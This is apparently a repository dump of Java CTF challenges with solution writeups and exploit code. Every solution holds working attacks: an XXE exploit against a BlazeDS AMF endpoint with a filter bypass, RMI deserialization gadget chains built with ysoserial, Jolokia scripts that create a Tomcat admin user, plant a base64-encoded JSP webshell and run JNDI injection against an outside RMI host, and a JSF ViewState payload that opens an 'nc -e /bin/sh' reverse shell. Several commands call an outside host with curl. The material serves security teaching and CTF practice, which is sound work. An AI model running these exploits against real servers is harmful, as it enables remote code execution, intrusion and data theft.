├── README.md
└── challs
├── another_malicious_format_1
├── README.md
├── setup
│ └── README.md
└── solution
│ ├── README.md
│ └── solv.py
├── ascis_rmi_v1
├── README.md
├── setup
│ ├── README.md
│ └── ascis_service1.jar
└── solution
│ ├── README.md
│ ├── ascis_rmi_v1_sol.jar
│ ├── file.policy
│ └── src
│ └── rmi
│ ├── ASCISInterf.java
│ ├── ASCISPlayer.java
│ └── Player.java
├── ascis_rmi_v2
├── README.md
├── setup
│ ├── README.md
│ └── ascis_service2.jar
└── solution
│ ├── README.md
│ ├── ascis_rmi_v2_sol.jar
│ ├── file.policy
│ └── src
│ └── rmi
│ ├── ASCISInterf.java
│ ├── ASCISPlayer.java
│ └── Player.java
├── charity_chall
├── README.md
├── setup
│ └── README.md
└── solution
│ ├── README.md
│ ├── solv_createuser.py
│ ├── solv_jndi.py
│ └── solv_logwrite.py
└── mojarra_war
├── README.md
├── setup
└── README.md
└── solution
├── README.md
├── mojarra_sol.jar
└── src
├── ByteArrayGuard.java
├── TeamBean.java
└── ascisz.java
/README.md:
--------------------------------------------------------------------------------
1 | # ⛳ Learn JAVA vulnerability!
2 |
3 |
4 |
5 |
6 | # I. Documents: JavaSecurity101
7 | (Vietnamese)
8 |
#0 - Intro & Setup
9 |
#1 - Java Reflection
10 |
#2 - Java Deserialization – Overview
11 |
#3 - Java Deserialization – ysoserial 1
12 |
#4 - Java Deserialization – ysoserial 2
13 |
#5 - Java Deserialization – ysoserial 3
14 |
15 | #6 - Java RMI - Overview
16 |
17 | #7 - Java RMI - Exploit
18 |
...
19 |
20 |
21 | # II. Challenges
22 | Collection of awesome java CTF challenges, made from everyone on the internet :)
23 |
24 | ### Folder structure:
25 | - **challs/challenge-name/README.md:** challenge description, give to player
26 | - **challs/challenge-name/setup:** means setup, not intend to give to player
27 | - **challs/challenge-name/solution:** short writeup by me, not intend to give to player
28 |
29 | ### Challenges
30 |
31 |
32 | @ |
33 | Name |
34 | Level |
35 |
36 |
37 | SVATTT2020 - Quals |
38 | ascis_rmi_v1 |
39 | 🚀 |
40 |
41 |
42 | SVATTT2020 - Quals |
43 | ascis_rmi_v2 |
44 | 🚀🚀 |
45 |
46 |
47 | SVATTT2020 - Final |
48 | mojarra_war |
49 | 🚀🚀🚀🚀 |
50 |
51 |
52 | TetCTF2021 |
53 | Another Malicious Format 1 |
54 | 🚀🚀 |
55 |
56 |
57 | Charity Challenge |
58 | charity_chall |
59 | 🚀🚀 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/challs/another_malicious_format_1/README.md:
--------------------------------------------------------------------------------
1 | # Another Malicious Format 1
2 | ### author: @peterjson
3 |
4 |
5 | #### Server: http://localhost:1337/tetctf/
6 |
7 | #### Files:
8 | https://drive.google.com/file/d/1RM86XB8ZJtYDTsu9ELFxUupd_xyN2wK7/view?usp=sharing
9 |
--------------------------------------------------------------------------------
/challs/another_malicious_format_1/setup/README.md:
--------------------------------------------------------------------------------
1 | Download
2 | ```
3 | https://drive.google.com/file/d/1RM86XB8ZJtYDTsu9ELFxUupd_xyN2wK7/view?usp=sharing
4 | ```
5 |
6 | then
7 | ```
8 | docker-compose up -d
9 | ```
10 |
--------------------------------------------------------------------------------
/challs/another_malicious_format_1/solution/README.md:
--------------------------------------------------------------------------------
1 | #### In short
2 | ```
3 | python3 solv.py
4 | ```
5 |
6 | ```
7 | ~/ python3 solv.py
8 | TetCTF{just_hack}
9 | ```
10 |
11 |
12 | #### Explanation
13 |
14 | This is AMF service, learning around you can know where the endpoint located
15 | in tetctf.war: WEB-INF/flex/services-config.xml
16 | ```
17 |
18 |
19 |
20 | ```
21 | So we can send AMF packet to that endpoint to interactive with the server (google for the AMF packet structure, or refer to genAMF() in solv.py)
22 |
23 | Checking the version, it seems vulnerable to CVE-2015-3269
24 | https://codewhitesec.blogspot.com/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html
25 |
26 | The problems here are:
27 | - We cant direct get data from XXE or blind XXE
28 | - Some keywords are blacklisted (SecurityFilter.class)
29 | ```
30 | public static String pattern = "(file|ftp|http|https|data|class|bash|logs|log|conf|etc|session|proc|root|history)";
31 | ```
32 |
33 | From this article:
34 | https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/
35 |
36 | we can do error xxe thanks to local dtd to leak the data
37 |
38 | First pick 1 payload from here
39 | https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md
40 |
41 | Then check if yours picked is available in the challenge system, here I pick the `jsp-api.jar` payload
42 |
43 | ```
44 | root@2be729a9262c:/# find / | grep "\.jar" | grep "jsp-api"
45 | find: '/proc/20/map_files': Permission denied
46 | find: '/proc/22/map_files': Permission denied
47 | find: '/proc/23/map_files': Permission denied
48 | find: '/proc/24/map_files': Permission denied
49 | find: '/proc/25/map_files': Permission denied
50 | /home/service/apache-tomcat-7.0.99/lib/jsp-api.jar
51 | ```
52 |
53 | Unfortunately we meet the blacklist filter, so we have to find a way to avoid it, well the payload is considered as universal exploit, so it stick with FILE or HTTP stream, somehow in JAVA, you can also read file using netdoc stream
54 | ```
55 |
57 |
58 |
59 | ">
60 | %eval;
61 | %error;
62 |
63 | %local_dtd;
64 | ]>
65 |
66 | ```
67 |
68 | THen Boom!
69 |
--------------------------------------------------------------------------------
/challs/another_malicious_format_1/solution/solv.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import re
3 |
4 | url = "http://localhost:1337/tetctf/messagebroker/amf"
5 |
6 |
7 | '''
8 | QDataStream stream(&outArray, QIODevice::WriteOnly);
9 | stream.setByteOrder(QDataStream::BigEndian);
10 | stream << (qint16)3; // version
11 | stream << (qint16)0; // header count
12 | stream << (qint16)1; // message count
13 | stream << (qint16)3; // target length
14 | stream << (qint32) tsu; // target
15 | stream << (qint16)7; // response length
16 | stream << (qint16)deptrai; // response
17 | stream << (qint32)data.size(); // message size
18 | stream.writeRawData(data.data(), data.size()); // message data
19 | '''
20 | def genAMF(payload):
21 | version = '\x00\x03' # Version
22 | headers = '\x00\x00' # No headers
23 | msg_count = '\x00\x01' # sending 1 message
24 | packet = version + headers + msg_count
25 |
26 | # Set target and respond
27 | target = "\x00\x03tsu"
28 | respond = "\x00\x07deptrai"
29 | packet += target + respond
30 |
31 | # just set size message to max
32 | size_msg = "\xff\xff\xff\xff"
33 | # Start message body data
34 | array_one_entry = "\x0A\x00\x00\x00\x01"
35 | xml_type = "\x0F"
36 | size_and_string = "\x00\x00\x01\xAA"
37 | bodies = size_msg + array_one_entry + xml_type + size_and_string + payload
38 |
39 | packet += bodies
40 | return packet
41 |
42 | xml_payload = '''
44 |
45 |
46 | ">
47 | %eval;
48 | %error;
49 |
50 | %local_dtd;
51 | ]>
52 | '''
53 |
54 | payload = genAMF(xml_payload)
55 | r = requests.post(url, data = payload, headers = {"Content-Type": "application/x-amf"})
56 |
57 | m = re.findall("abcxyz/(?P.*)", r.text)
58 | print(m[0])
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/README.md:
--------------------------------------------------------------------------------
1 | # ascis_rmi_v1
2 | ### author: @peterjson
3 |
4 | This year, we have some funny web/pwn challenges.
5 |
6 | Can you write the exploit with Java?
7 |
8 | Good luck!
9 |
10 | #### Server: localhost 1099
11 |
12 | #### Files:
13 | https://drive.google.com/file/d/1Gfwhs0K-sNEQtNtHNK2gZz9IDdrpyOHF/view
14 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/setup/README.md:
--------------------------------------------------------------------------------
1 | java -jar ascis_service1.jar
2 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/setup/ascis_service1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v1/setup/ascis_service1.jar
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/solution/README.md:
--------------------------------------------------------------------------------
1 | ## In short: ( ./src for code refer )
2 | ```
3 | ~/java_challs/ascis_rmi_v1/solution/ java -jar untitled.jar localhost 1099 "curl tsug0d.com:4321/?a=1233"
4 |
5 | Exception in thread "main" java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to rmi.Player
6 | ```
7 |
8 |
9 |
10 | ## Explanation:
11 |
12 |
13 |
14 | Create Client to interactive with rmi server, rmi use 100% java serialize/unserialize to transform data so attacker can send malicious serialize object to server and let it unserialize
15 |
16 | In Player class we can see the check isAdmin() and method toString() let us run command, so we use java reflect to modify their value, and call gadget
17 | ```
18 | gadget BadAttributeValueExpException.readObject() -> Player.toString()
19 | ```
20 | to call toString of Player
21 |
22 | = End =
23 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/solution/ascis_rmi_v1_sol.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v1/solution/ascis_rmi_v1_sol.jar
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/solution/file.policy:
--------------------------------------------------------------------------------
1 | grant {
2 | // Allow everything for now
3 | permission java.security.AllPermission;
4 | };
5 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/solution/src/rmi/ASCISInterf.java:
--------------------------------------------------------------------------------
1 | package rmi;
2 | import java.rmi.Remote;
3 | import java.rmi.RemoteException;
4 |
5 | public abstract interface ASCISInterf extends Remote
6 | {
7 | public abstract String sayHello(String paramString)
8 | throws RemoteException;
9 |
10 | public abstract String login(Object paramObject)
11 | throws RemoteException;
12 | }
13 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/solution/src/rmi/ASCISPlayer.java:
--------------------------------------------------------------------------------
1 | package rmi;
2 |
3 | import javax.management.BadAttributeValueExpException;
4 | import java.lang.reflect.Field;
5 | import java.rmi.NotBoundException;
6 | import java.rmi.registry.LocateRegistry;
7 | import java.rmi.registry.Registry;
8 |
9 | public class ASCISPlayer
10 | {
11 | public static void main(String[] args) throws java.rmi.RemoteException, NotBoundException, Exception
12 | {
13 | if (args.length != 3) {
14 | System.out.println("Usage: java -jar ascis_rmi_v1_sol.jar localhost 1099 \"curl tsug0d.com:4321/?a=1\"");
15 | System.exit(0);
16 | }
17 | String rhost = args[0];
18 | Integer rport = Integer.parseInt(args[1]);
19 | String cmd = args[2];
20 |
21 | // On some project doesn't need this (?), maybe related to mac jdk security
22 | System.setProperty("java.security.policy", "./file.policy");
23 | System.setSecurityManager(new SecurityManager());
24 |
25 | // Connect to service
26 | Registry registry = LocateRegistry.getRegistry(rhost, rport);
27 | ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis");
28 |
29 | // Create player
30 | Player p = new Player();
31 | p.setAdmin(true);
32 |
33 | // Set Field
34 | Field cmdlog = p.getClass().getDeclaredField("logCommand");
35 | cmdlog.setAccessible(true);
36 | cmdlog.set(p, cmd);
37 |
38 | // gadget BadAttributeValueExpException.readObject() -> Player.toString()
39 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
40 | Field val = bad.getClass().getDeclaredField("val");
41 | val.setAccessible(true);
42 | val.set(bad, p);
43 |
44 | ascisInterf.login(bad);
45 | }
46 | }
47 |
48 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v1/solution/src/rmi/Player.java:
--------------------------------------------------------------------------------
1 | package rmi;
2 |
3 | import java.io.IOException;
4 |
5 | public class Player implements java.io.Serializable
6 | {
7 | // change the serialVersionUID based on the error return
8 | private static final long serialVersionUID = -6841810502134843716L;
9 | private String name;
10 | private boolean isAdmin;
11 | private String logCommand = "echo \"ADMIN LOGGED IN\" > /tmp/log.txt";
12 |
13 | public String getName()
14 | {
15 | return this.name;
16 | }
17 |
18 | public void setName(String name) {
19 | this.name = name;
20 | }
21 |
22 | public boolean isAdmin() {
23 | return this.isAdmin;
24 | }
25 |
26 | public void setAdmin(boolean admin) {
27 | this.isAdmin = admin;
28 | }
29 |
30 | public String toString()
31 | {
32 | if (isAdmin()) {
33 | try {
34 | Runtime.getRuntime().exec(this.logCommand);
35 | } catch (IOException e) {
36 | e.printStackTrace();
37 | }
38 | return "ADMIN LOGGED IN";
39 | }
40 | return "USER LOGGED IN";
41 | }
42 | }
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/README.md:
--------------------------------------------------------------------------------
1 | # ascis_rmi_v2
2 | ### Author: @peterjson
3 |
4 | Harder version for pentester, a real-world challenge and no more given source.
5 |
6 | No more easy bug, find yourself a way to PWN my service!
7 |
8 | #### Server: localhost 1099
9 |
10 | #### Files:
11 | https://drive.google.com/file/d/1eYV-OwWowDYosroY4uEIrHmAya_eeMOW/view
12 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/setup/README.md:
--------------------------------------------------------------------------------
1 | java -cp ascis_service2.jar rmi.ASCISServer
2 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/setup/ascis_service2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v2/setup/ascis_service2.jar
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/solution/README.md:
--------------------------------------------------------------------------------
1 | ```
2 | ~/java_challs/ascis_rmi_v2/solution/ java -jar ascis_rmi_v2.jar localhost 1099 "curl tsug0d.com:4321/?aaa"
3 | java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to rmi.Player
4 | at rmi.ASCISInterfImpl.login(ASCISInterfImpl.java:19)
5 | at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
6 | ```
7 |
8 |
9 |
10 | Same as v1, but more tricky since toString() is removed and we have to modify builtin class (more explain in code ./src )
11 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/solution/ascis_rmi_v2_sol.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v2/solution/ascis_rmi_v2_sol.jar
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/solution/file.policy:
--------------------------------------------------------------------------------
1 | grant {
2 | // Allow everything for now
3 | permission java.security.AllPermission;
4 | };
5 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/solution/src/rmi/ASCISInterf.java:
--------------------------------------------------------------------------------
1 | package rmi;
2 | import java.rmi.Remote;
3 | import java.rmi.RemoteException;
4 |
5 | public abstract interface ASCISInterf extends Remote
6 | {
7 | public abstract String sayHello(String paramString)
8 | throws RemoteException;
9 |
10 | public abstract String login(Object paramObject)
11 | throws RemoteException;
12 | }
13 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/solution/src/rmi/ASCISPlayer.java:
--------------------------------------------------------------------------------
1 | package rmi;
2 |
3 | import org.apache.commons.collections.functors.InvokerTransformer;
4 |
5 | import java.lang.reflect.Field;
6 | import java.lang.reflect.Modifier;
7 | import java.rmi.NotBoundException;
8 | import java.rmi.registry.LocateRegistry;
9 | import java.rmi.registry.Registry;
10 | import ysoserial.payloads.CommonsCollections5;
11 |
12 | public class ASCISPlayer
13 | {
14 | public static void main(String[] args) throws java.rmi.RemoteException, NotBoundException, Exception
15 | {
16 | if (args.length != 3) {
17 | System.out.println("Usage: java -jar ascis_rmi_v1_sol.jar localhost 1099 \"curl tsug0d.com:4321/?a=1\"");
18 | System.exit(0);
19 | }
20 | String rhost = args[0];
21 | Integer rport = Integer.parseInt(args[1]);
22 | String cmd = args[2];
23 |
24 | // On some project doesn't need this (?), maybe related to mac jdk security
25 | System.setProperty("java.security.policy", "./file.policy");
26 | System.setSecurityManager(new SecurityManager());
27 |
28 | // Connect to service
29 | Registry registry = LocateRegistry.getRegistry(rhost, rport);
30 | rmi.ASCISInterf ascisInterf = (rmi.ASCISInterf)registry.lookup("ascis");
31 |
32 | // by Using GadgetProbe, we found that org.apache.commons.collections.functors.InvokerTransformer unserialized and sent to DNS server
33 | // challenge require stream serialVersionUID (client) = local serialVersionUID (server), so we need to set it.
34 | // local class need serialVersionUID = -1333713373713373737, access directly to InvokerTransformer class and change its serialVersionUID
35 | Field serialVersionUID = InvokerTransformer.class.getDeclaredField("serialVersionUID");
36 | serialVersionUID.setAccessible(true);
37 | Field modifiers = Field.class.getDeclaredField("modifiers");
38 | modifiers.setAccessible(true);
39 | modifiers.setInt(serialVersionUID, serialVersionUID.getModifiers() & ~Modifier.FINAL);
40 | serialVersionUID.set(InvokerTransformer.class, -1333713373713373737L);
41 |
42 | // ysoserial magik
43 | try {
44 | // org.apache.commons.collections.functors.InvokerTransformer is inside CommonsCollections5
45 | Object payload = new CommonsCollections5().getObject(cmd);
46 | ascisInterf.login(payload);
47 | } catch (Exception e) {
48 | e.printStackTrace();
49 | }
50 | }
51 | }
52 |
53 |
--------------------------------------------------------------------------------
/challs/ascis_rmi_v2/solution/src/rmi/Player.java:
--------------------------------------------------------------------------------
1 | package rmi;
2 |
3 | import java.io.IOException;
4 |
5 | public class Player implements java.io.Serializable
6 | {
7 | // change the serialVersionUID based on the error return
8 | private static final long serialVersionUID = 5558077863197230219L;
9 | private String name;
10 | private boolean isAdmin;
11 | private String logCommand = "echo \"ADMIN LOGGED IN\" > /tmp/log.txt";
12 |
13 | public String getName()
14 | {
15 | return this.name;
16 | }
17 |
18 | public void setName(String name) {
19 | this.name = name;
20 | }
21 |
22 | public boolean isAdmin() {
23 | return this.isAdmin;
24 | }
25 |
26 | public void setAdmin(boolean admin) {
27 | this.isAdmin = admin;
28 | }
29 |
30 | public String toString()
31 | {
32 | if (isAdmin()) {
33 | try {
34 | Runtime.getRuntime().exec(this.logCommand);
35 | } catch (IOException e) {
36 | e.printStackTrace();
37 | }
38 | return "ADMIN LOGGED IN";
39 | }
40 | return "USER LOGGED IN";
41 | }
42 | }
--------------------------------------------------------------------------------
/challs/charity_chall/README.md:
--------------------------------------------------------------------------------
1 | # Charity chall
2 | ### author: @peterjson
3 |
4 |
5 | #### Server: http://localhost:1337/vulnapp/
6 |
--------------------------------------------------------------------------------
/challs/charity_chall/setup/README.md:
--------------------------------------------------------------------------------
1 | Download
2 | ```
3 | https://drive.google.com/file/d/1CHPWzwi332nLqLRpjpfC5k6u1RxJclL1/view
4 | ```
5 |
6 | then
7 | ```
8 | docker-compose up -d
9 | ```
10 |
--------------------------------------------------------------------------------
/challs/charity_chall/solution/README.md:
--------------------------------------------------------------------------------
1 | ## This challenge got 3 solutions (or more...)
2 |
3 | ### Sol 1 - Write Log via AccessLogValve Mbean
4 | ```
5 | python3 solv_logwrite.py http://localhost:1339/vulnapp/
6 | ```
7 | 
8 |
9 | ### Sol 2 - Create Tomcat User -> Manage App -> Upload WAR Shell
10 | ```
11 | python3 solv_createuser.py http://localhost:1339/vulnapp/
12 | ```
13 |
14 | Then Login in tomcat
15 |
16 | 
17 |
18 | Upload war
19 |
20 | https://github.com/BustedSec/webshell/blob/master/webshell.war
21 |
22 | 
23 |
24 | 
25 |
26 |
27 | Read Flag
28 | ```
29 | http://localhost:1339/webshell/?cmd=/readflag
30 | ```
31 | 
32 |
33 |
34 | ### Sol 3 - JNDI Injection
35 |
36 | Service uses jdk1.8.0_131 higher than JDK8u121 so no traditional rmi marshall used :), instead we got:
37 | https://github.com/welk1n/JNDI-Injection-Exploit
38 |
39 | Start the rmi server:
40 | ```
41 | java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "script -c /readflag /home/service/apache-tomcat-8.5.35/webapps/vulnapp/tsu.txt" -A "tsug0d.com"
42 | ```
43 | 
44 |
45 | Take the rmi that meet the server conditional, in this case:
46 | ```
47 | Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
48 | rmi://tsug0d.com:1099/j3muyl
49 | ```
50 |
51 | run exploit to call to our rmi
52 | ```
53 | python3 solv_jndi.py http://localhost:1339/vulnapp/actuator rmi://tsug0d.com:1099/j3muyl
54 | ```
55 |
56 | get flag
57 |
58 | 
59 |
--------------------------------------------------------------------------------
/challs/charity_chall/solution/solv_createuser.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import sys
3 |
4 | def createRole(url):
5 | data = {
6 | "type":"EXEC",
7 | "mbean":"Users:database=UserDatabase,type=UserDatabase",
8 | "operation":"createRole",
9 | "arguments": ["manager-gui", ""]
10 | }
11 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"})
12 |
13 | def createUser(url):
14 | data = {
15 | "type":"EXEC",
16 | "mbean":"Users:database=UserDatabase,type=UserDatabase",
17 | "operation":"createUser",
18 | "arguments": ["tsu", "deptrai", ""]
19 | }
20 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"})
21 |
22 | def addRole(url):
23 | data = {
24 | "type":"EXEC",
25 | "mbean":"Users:database=UserDatabase,type=User,username=\"tsu\"",
26 | "operation":"addRole",
27 | "arguments": ["manager-gui"]
28 | }
29 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"})
30 |
31 | if len(sys.argv) < 2:
32 | print("python3 solv_createuser.py ")
33 | exit()
34 |
35 | try:
36 | url = sys.argv[1]+"/actuator/jolokia"
37 | createRole(url)
38 | createUser(url)
39 | addRole(url)
40 | except:
41 | pass
--------------------------------------------------------------------------------
/challs/charity_chall/solution/solv_jndi.py:
--------------------------------------------------------------------------------
1 | import requests as req
2 | import sys
3 |
4 | if len(sys.argv) < 3:
5 | print("python3 solv_jndi.py ")
6 | exit()
7 |
8 | url = sys.argv[1] + "/jolokia/"
9 |
10 | # JNDIRealm
11 | create_JNDIrealm = {
12 | "mbean": "Catalina:type=MBeanFactory",
13 | "type": "EXEC",
14 | "operation": "createJNDIRealm",
15 | "arguments": ["Catalina:type=Engine"]
16 | }
17 |
18 | # contextFactory
19 | set_contextFactory = {
20 | "mbean": "Catalina:realmPath=/realm0,type=Realm",
21 | "type": "WRITE",
22 | "attribute": "contextFactory",
23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
24 | }
25 | # connectionURL to call RMI service
26 | set_connectionURL = {
27 | "mbean": "Catalina:realmPath=/realm0,type=Realm",
28 | "type": "WRITE",
29 | "attribute": "connectionURL",
30 | "value": sys.argv[2]
31 | }
32 | # Realm stop
33 | stop_JNDIrealm = {
34 | "mbean": "Catalina:realmPath=/realm0,type=Realm",
35 | "type": "EXEC",
36 | "operation": "stop",
37 | "arguments": []
38 | }
39 | # Realm start
40 | start = {
41 | "mbean": "Catalina:realmPath=/realm0,type=Realm",
42 | "type": "EXEC",
43 | "operation": "start",
44 | "arguments": []
45 | }
46 |
47 | expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
48 |
49 | for i in expoloit:
50 | rep = req.post(url, json=i)
--------------------------------------------------------------------------------
/challs/charity_chall/solution/solv_logwrite.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import sys
3 | import json
4 | import base64
5 |
6 | # Get web base dir
7 | def getRootPath(url):
8 | data = {
9 | "type":"EXEC",
10 | "mbean":"com.sun.management:type=DiagnosticCommand",
11 | "operation":"vmSystemProperties",
12 | "arguments":[]
13 | }
14 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"})
15 | res = json.loads(r.text)
16 | for i in res["value"].split("\n"):
17 | if "catalina.base=" in i:
18 | base = i
19 | return base.split("=")[1]
20 |
21 | # Define which log pattern to write
22 | # https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
23 | # https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/catalina/valves/AccessLogValve.html
24 | def setLogPattern(url):
25 | data = {
26 | "type":"WRITE",
27 | "mbean":"Catalina:type=Valve,host=localhost,name=AccessLogValve",
28 | "attribute":"pattern",
29 | "value":"%{tsu}i"
30 | }
31 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"})
32 |
33 | def poisonLogViaCookie(url):
34 | shell = "PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT48JSBQcm9jZXNzIHA9UnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpO091dHB1dFN0cmVhbSBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7SW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7RGF0YUlucHV0U3RyZWFtIGRpcyA9IG5ldyBEYXRhSW5wdXRTdHJlYW0oaW4pO1N0cmluZyBkaXNyID0gZGlzLnJlYWRMaW5lKCk7d2hpbGUgKCBkaXNyICE9IG51bGwpIHtvdXQucHJpbnRsbihkaXNyKTtkaXNyID0gZGlzLnJlYWRMaW5lKCk7fSU+"
35 | header = {'tsu': base64.b64decode(shell).decode('utf-8') }
36 | r = requests.get(url, headers=header)
37 |
38 | def rotateLog(url, path):
39 | data = {
40 | "type":"EXEC",
41 | "mbean":"Catalina:type=Valve,host=localhost,name=AccessLogValve",
42 | "operation":"rotate(java.lang.String)",
43 | "arguments":["%s/webapps/vulnapp/tsu.jsp"%path]
44 | }
45 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"})
46 |
47 | def shell(url, cmd):
48 | url = "%s/tsu.jsp?cmd="%url+cmd
49 | r = requests.get(url)
50 | res = r.text.split("-")[-1]
51 | print(res.strip())
52 |
53 | if len(sys.argv) < 2:
54 | print("python3 solv_logwrite.py ")
55 | exit()
56 |
57 | try:
58 | url = sys.argv[1]+"/actuator/jolokia"
59 | root = getRootPath(url)
60 | setLogPattern(url)
61 | poisonLogViaCookie(sys.argv[1])
62 | rotateLog(url, root)
63 | while True:
64 | cmd = input("$ ")
65 | shell(sys.argv[1], cmd)
66 | except:
67 | print("Something wrong")
68 |
69 |
70 |
--------------------------------------------------------------------------------
/challs/mojarra_war/README.md:
--------------------------------------------------------------------------------
1 | # mojarra_war
2 | ### author: @peterjson
3 |
4 | Java server faces is a common web framework so what common vulnerabilities on JSF ?
5 |
6 | #### Server: http://localhost:31337/mojarra_war/
7 |
8 | #### Files:
9 | https://drive.google.com/file/d/1gqSvfp0uyU9f4ogRCDL8W91yRtowTH2t/view
10 |
11 | (server key is different on server)
12 |
--------------------------------------------------------------------------------
/challs/mojarra_war/setup/README.md:
--------------------------------------------------------------------------------
1 | Require: Docker
2 |
3 | - Download:
4 | https://drive.google.com/file/d/1gqSvfp0uyU9f4ogRCDL8W91yRtowTH2t/view
5 |
6 | - Command
7 | ```
8 | chmod +x start_ascis_final.sh
9 | ```
10 | ```
11 | ./start_ascis_final.sh
12 | ```
13 |
--------------------------------------------------------------------------------
/challs/mojarra_war/solution/README.md:
--------------------------------------------------------------------------------
1 | ## In short: ( ./src for code refer)
2 | ```
3 | java -jar mojarra_sol.jar localhost 31337 tsug0d.com 4321
4 | ```
5 |
6 |
7 | ## Explaination:
8 | 2 Steps chall: Leak server key + Generate JSF2 ViewState contains gadget that can call TeamBean toString method
9 |
10 | #### Step 1: Leak server key
11 |
12 | From Response header
13 | ```
14 | X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 5.0 Java/Oracle Corporation/1.8)
15 | ```
16 | -> JSP/2.3
17 |
18 | -> CVE-2018-14371
19 |
20 | search for patch
21 |
22 |
23 |
24 | -> Vulnerable at parameter `loc` of ResourceManager
25 |
26 | ResourceManager example:
27 |
28 | http://localhost:31337/mojarra_war/javax.faces.resource/bootstrap.min.css.xhtml?loc=css
29 |
30 | loc=css means the server will look for the file inside resources/css folder
31 |
32 |
33 |
34 | the key is inside WEB-INF/web.xml, so how to get it?
35 |
36 | -> http://localhost:31337/mojarra_war/javax.faces.resource/web.xml.xhtml?loc=../WEB-INF
37 |
38 |
39 |
40 | #### Step 2: Generate JSF2 ViewState contains gadget that can call TeamBean toString method
41 |
42 |
43 |
44 | 1. Create gadget that call TeamBean toString (src/ascisz.java line 31 to 52)
45 |
46 | ```
47 | TeamBean team = new TeamBean();
48 | String payload = "var message = \"tsudepzai\";"+
49 | String.format("var lhost = \"%s\";",lhost) +
50 | String.format("var lport = \"%s\";",lport) +
51 | "p = new java.lang.ProcessBuilder();"+
52 | "p.command(\"nc\",\"-e\",\"/bin/sh\", lhost, lport);"+
53 | "p.start();";
54 | // Set team_secret_status true
55 | Field team_secret_status = team.getClass().getDeclaredField("team_secret_status");
56 | team_secret_status.setAccessible(true);
57 | team_secret_status.set(team, true);
58 |
59 | // Set payload eval
60 | Field template = team.getClass().getDeclaredField("template");
61 | template.setAccessible(true);
62 | template.set(team, payload);
63 |
64 | // gadget BadAttributeValueExpException.readObject() -> TeamBean.toString()
65 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
66 | Field val = bad.getClass().getDeclaredField("val");
67 | val.setAccessible(true);
68 | val.set(bad, team);
69 | ```
70 |
71 | 2. Gzip + Enc + Base64 (src/ascisz.java line 55 to 68)
72 | ```
73 | ByteArrayGuard guard = new ByteArrayGuard();
74 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
75 | ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
76 | outputStream.writeObject(bad);
77 | outputStream.close();
78 |
79 | ByteArrayOutputStream byteArrayOutputStreamGzip = new ByteArrayOutputStream();
80 |
81 | GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStreamGzip);
82 | gzipOutputStream.write(byteArrayOutputStream.toByteArray());
83 | gzipOutputStream.close();
84 |
85 | byte[] bytes = byteArrayOutputStreamGzip.toByteArray();
86 | bytes = guard.encrypt(bytes);
87 | ```
88 | The original encryption (Enc) code is inside `com.sun.faces.renderkit.ByteArrayGuard`, just copy the code, modify a little bit, insert our key there and run (ByteArrayGuard.java)
